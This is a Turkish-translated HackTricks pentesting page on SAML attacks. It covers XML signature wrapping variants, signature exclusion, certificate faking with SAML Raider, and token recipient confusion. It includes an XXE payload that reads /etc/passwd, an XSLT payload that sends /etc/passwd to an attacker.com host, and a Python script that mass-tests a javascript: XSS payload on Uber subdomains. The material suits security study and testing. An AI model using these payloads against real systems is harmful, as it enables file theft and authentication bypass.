hacktricks/pentesting-web/saml-attacks
2024-04-07 03:13:19 +00:00
..
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:13:19 +00:00
saml-basics.md Translated to Turkish 2024-02-10 18:14:16 +00:00

SAML Saldırıları

SAML Saldırıları

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Araç

SAMLExtractor: Bir URL veya URL listesi alabilen ve SAML tüketim URL'sini geri yazdıran bir araç.

XML turu

XML'de XML'in imzalı kısmı bellekte saklanır, ardından bazı kodlama/çözme işlemleri gerçekleştirilir ve imza kontrol edilir. İdeal olarak, bu kodlama/çözme işlemi veriyi değiştirmemelidir, ancak bu senaryoya göre, kontrol edilen veri ve orijinal veri aynı olmayabilir.

Örneğin, aşağıdaki kodu kontrol edin:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Programı REXML 3.2.4 veya daha önceki sürümlere karşı çalıştırmak aşağıdaki çıktıyı üretir:

First child in original doc: Y
First child after round-trip: Z

Yukarıdaki programın orijinal XML belgesini REXML'in nasıl gördüğü:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Ve bu, ayrıştırma ve serileştirme turundan sonra nasıl gördü:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Bu zafiyet ve nasıl istismar edileceği hakkında daha fazla bilgi için:

XML İmza Sarma Saldırıları

XML İmza Sarma saldırılarında (XSW), saldırganlar XML belgelerinin işlendiği iki farklı aşamada, imza doğrulama ve işlev çağrısı aşamalarında ortaya çıkan bir zafiyeti sömürürler. Bu saldırılar, XML belge yapısını değiştirerek gerçekleşir. Özellikle saldırgan, XML İmzasının geçerliliğini tehlikeye atmayan sahte öğeler enjekte eder. Bu manipülasyon, uygulama mantığı tarafından analiz edilen öğeler ile imza doğrulama modülü tarafından kontrol edilen öğeler arasında bir uyumsuzluk yaratmayı amaçlar. Sonuç olarak, XML İmzası teknik olarak geçerli kalır ve doğrulamayı geçer, ancak uygulama mantığı sahte öğeleri işler. Dolayısıyla, saldırgan etkili bir şekilde XML İmzasının bütünlük korumasını ve köken kimliğini doğrulamasını atlayarak algılanmadan keyfi içerik enjekte etmeyi sağlar.

Aşağıdaki saldırılar bu blog gönderisine ve bu makaleye dayanmaktadır. Daha fazla ayrıntı için bunları kontrol edin.

XSW #1

  • Strateji: İmza içeren yeni bir kök öğe eklenir.
  • Etki: Doğrulayıcı, meşru "Yanıt -> İddia -> Konu" ile saldırganın "kötü yeni Yanıt -> İddia -> Konu" arasında karışabilir, veri bütünlüğü sorunlarına yol açabilir.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • XSW #1'den Farkı: Bir sarmal imza yerine ayrılmış bir imza kullanır.
  • Etki: "Kötü" yapı, XSW #1'e benzer şekilde, bütünlük kontrolünden sonra iş mantığını aldatmayı amaçlar.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strateji: Orijinal iddiaya aynı hiyerarşik düzeyde kötü bir İddia oluşturulur.
  • Etki: İş mantığını kötü veriyi kullanmaya zorlamayı amaçlar.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • XSW #3'ten Farkı: Orijinal İddia, çoğaltılan (kötü) İddianın alt öğesi olur.
  • Etki: XSW #3'e benzer şekilde, XML yapısını daha agresif bir şekilde değiştirir.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Benzersiz Yön: Ne İmza ne de orijinal İddia standart yapılandırmalara uymaz (sarmal/sarmal/detached).
  • Etki: Kopyalanan İddia, İmzayı sarmalar ve beklenen belge yapısını değiştirir.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strateji: XSW #4 ve #5 ile benzer konum enjeksiyonu, ancak bir farkla.
  • Etki: Kopyalanan İddia, İmzayı sarmalar, ardından orijinal İddiayı saran, iç içe geçmiş aldatıcı bir yapı oluşturur.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strateji: Kopyalanan İddia ile birlikte bir Uzantı öğesi eklenir.
  • Etki: Bu, özellikle OpenSAML gibi kütüphanelerde şema doğrulama karşı önlemleri atlamak için Uzantı öğesinin daha az kısıtlayıcı şemasını istismar eder.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • XSW #7'den Farkı: Saldırının bir varyantı için başka bir daha az kısıtlayıcı XML öğesini kullanır.
  • Etki: Orijinal İddia, XSW #7'de kullanılan yapıyı tersine çevirerek daha az kısıtlayıcı öğenin alt öğesi olur.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Araç

İsteği ayrıştırmak, seçtiğiniz XSW saldırısını uygulamak ve başlatmak için Burp uzantısı SAML Raider kullanabilirsiniz.

XXE

XXE saldırılarının ne tür saldırılar olduğunu bilmiyorsanız, lütfen aşağıdaki sayfayı okuyun:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

SAML Yanıtları sıkıştırılmış ve base64 kodlu XML belgeleri ve XML Harici Varlık (XXE) saldırılarına duyarlı olabilir. SAML Yanıtının XML yapısını manipüle ederek, saldırganlar XXE zafiyetlerini sömürmeye çalışabilir. İşte böyle bir saldırının nasıl görselleştirilebileceği:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Araçlar

Ayrıca, olası XXE güvenlik açıklarını test etmek için bir SAML isteğinden POC oluşturmak için Burp uzantısı olan SAML Raider kullanabilirsiniz.

Ayrıca bu konuşmayı da kontrol edin: https://www.youtube.com/watch?v=WHn-6xHL7mI

SAML Aracılığıyla XSLT

XSLT hakkında daha fazla bilgi için şuraya gidin:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Genişletilebilir Stil Sayfası Dönüşümleri (XSLT), XML belgelerini HTML, JSON veya PDF gibi çeşitli biçimlere dönüştürmek için kullanılabilir. XSLT dönüşümlerinin dijital imzanın doğrulanmasından önce gerçekleştirildiğini unutmamak önemlidir. Bu, geçerli bir imza olmadan bile bir saldırının başarılı olabileceği anlamına gelir; kendinden imzalı veya geçersiz bir imza yeterlidir.

Bu tür güvenlik açıklarını kontrol etmek için bir POC bulabilirsiniz; bu bölümün başında belirtilen hacktricks sayfasında payloadlar bulabilirsiniz.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Araç

Ayrıca, olası XSLT güvenlik açıklarını test etmek için bir SAML isteğinden POC oluşturmak için Burp uzantısı SAML Raider kullanabilirsiniz.

Ayrıca bu konuşmayı da kontrol edin: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML İmza Hariç Bırakma

XML İmza Hariç Bırakma, İmza öğesi bulunmadığında SAML uygulamalarının davranışını gözlemlemektedir. Bu öğe eksikse, imza doğrulamasının gerçekleşmeyebileceği, dolayısıyla zayıf olabileceği anlamına gelir. Bu durumu test etmek için genellikle imzalanan içeriği değiştirerek yapabilirsiniz.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Araç

Ayrıca, Burp uzantısı SAML Raider kullanabilirsiniz. SAML Yanıtını arayıp İmzaları Kaldır düğmesine tıklayın. Böylece tüm İmza öğeleri kaldırılır.

İmzalar kaldırıldıktan sonra isteğin hedefe gitmesine izin verin. İmzanın Hizmet tarafından gerekli olup olmadığını kontrol edin.

Sertifika Sahteciliği

Sertifika Sahteciliği, bir Hizmet Sağlayıcısının (SP) bir SAML İletisinin güvenilir bir Kimlik Sağlayıcı (IdP) tarafından imzalandığını doğru bir şekilde doğrulayıp doğrulamadığını test etmek için bir tekniktir. Bu, Sertifika Sahteciliği, SP ve IdP arasındaki güven doğrulama sürecini değerlendirmeye yardımcı olmak için bir *kendi imzalı sertifika kullanmayı içerir.

Sertifika Sahteciliği Nasıl Yapılır

Aşağıdaki adımlar, SAML Raider Burp uzantısını kullanarak süreci açıklar:

  1. SAML Yanıtını arayın.
  2. Yanıt bir imza içeriyorsa, sertifikayı SAML Raider Sertifikalarına Sertifikayı SAML Raider Sertifikalarına Gönder düğmesini kullanarak gönderin.
  3. SAML Raider Sertifikaları sekmesinde, içe aktarılan sertifikayı seçin ve orijinal sertifikanın kendi imzalı kopyasını oluşturmak için Kaydet ve Kendi İmzalı düğmesine tıklayın.
  4. Burp'un Proxy'sindeki araya geçilen isteğe geri dönün. XML İmza açılır menüsünden yeni kendi imzalı sertifikayı seçin.
  5. Varolan imzaları İmzaları Kaldır düğmesi ile kaldırın.
  6. Mesajı veya iddiayı yeni sertifika ile imzalayın (Yeniden) Mesajı İmzala veya (Yeniden) İddiayı İmzala düğmesini kullanarak.
  7. İmzalı mesajı iletil. Başarılı kimlik doğrulama, SP'nin kendi imzalı sertifikanız tarafından imzalanan mesajları kabul ettiğini gösterir ve SAML mesajlarının doğrulama sürecindeki potansiyel zayıflıkları ortaya çıkarır.

Token Alıcı Karışıklığı / Hizmet Sağlayıcı Hedef Karışıklığı

Token Alıcı Karışıklığı ve Hizmet Sağlayıcı Hedef Karışıklığı, bir yanıtın amaçlanan alıcısını doğru bir şekilde doğrulayıp doğrulamadığını kontrol etmek için yapılan bir testi içerir. Temelde, bir Hizmet Sağlayıcının, yanıtın farklı bir sağlayıcı için mi yoksa kendisi için mi olduğunu doğru bir şekilde doğrulaması gerekir. Buradaki kritik unsur, bir SAML Yanıtının SubjectConfirmationData öğesinde bulunan Alıcı alanıdır. Bu alan, İddianın nereye gönderilmesi gerektiğini belirten bir URL'yi belirtir. Gerçek alıcı, amaçlanan Hizmet Sağlayıcıyla eşleşmiyorsa, İddia geçersiz kabul edilmelidir.

Nasıl Çalışır

Bir SAML Token Alıcı Karışıklığı (SAML-TRC) saldırısının gerçekleştirilebilmesi için belirli koşulların sağlanması gerekir. İlk olarak, bir Hizmet Sağlayıcıda (SP-Legit olarak adlandırılır) geçerli bir hesap olmalıdır. İkinci olarak, hedeflenen Hizmet Sağlayıcının (SP-Hedef) SP-Legit'i hizmet veren aynı Kimlik Sağlayıcıdan tokenları kabul etmesi gerekir.

Bu koşullar altında saldırı süreci basittir. Paylaşılan Kimlik Sağlayıcı aracılığıyla SP-Legit ile otantik bir oturum başlatılır. Kimlik Sağlayıcıdan SP-Legit'e yönlendirilmesi gereken orijinal olarak SP-Legit için amaçlanan SAML Yanıtı araya girilir. Bu yönlendirilen SAML Yanıtı, SP-Hedef'e yönlendirilir. Bu saldırıda başarı, SP-Hedef'in İddiayı kabul etmesi ve SP-Legit için kullanılan aynı hesap adı altında kaynaklara erişim sağlamasıyla ölçülür.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

Çıkış işlevinde XSS

Orijinal araştırmaya bu bağlantıdan erişilebilir.

Dizin brute force işlemi sırasında, bir çıkış sayfası keşfedildi:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Bu bağlantıya erişildiğinde, şu adrese yönlendirme yapıldı:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Bu, base parametresinin bir URL'yi kabul ettiğini ortaya koydu. Bu düşünceyle, URL'nin javascript:alert(123); ile değiştirilerek bir XSS (Cross-Site Scripting) saldırısı başlatma girişiminde bulunuldu.

Toplu Sömürü

Bu araştırmadan:

uberinternal.com alt alanlarını analiz etmek için SAMLExtractor aracı kullanıldı ve aynı kütüphaneyi kullanan alanları belirlemek için bir betik geliştirildi. Daha sonra, oidauth/prompt sayfasını hedefleyen bir betik oluşturuldu. Bu betik, veri girişi yaparak XSS (Cross-Site Scripting) test eder ve çıktıda yansıtılıp yansıtılmadığını kontrol eder. Giriş gerçekten yansıtıldığında, betik sayfayı savunmasız olarak işaretler.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Referanslar

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: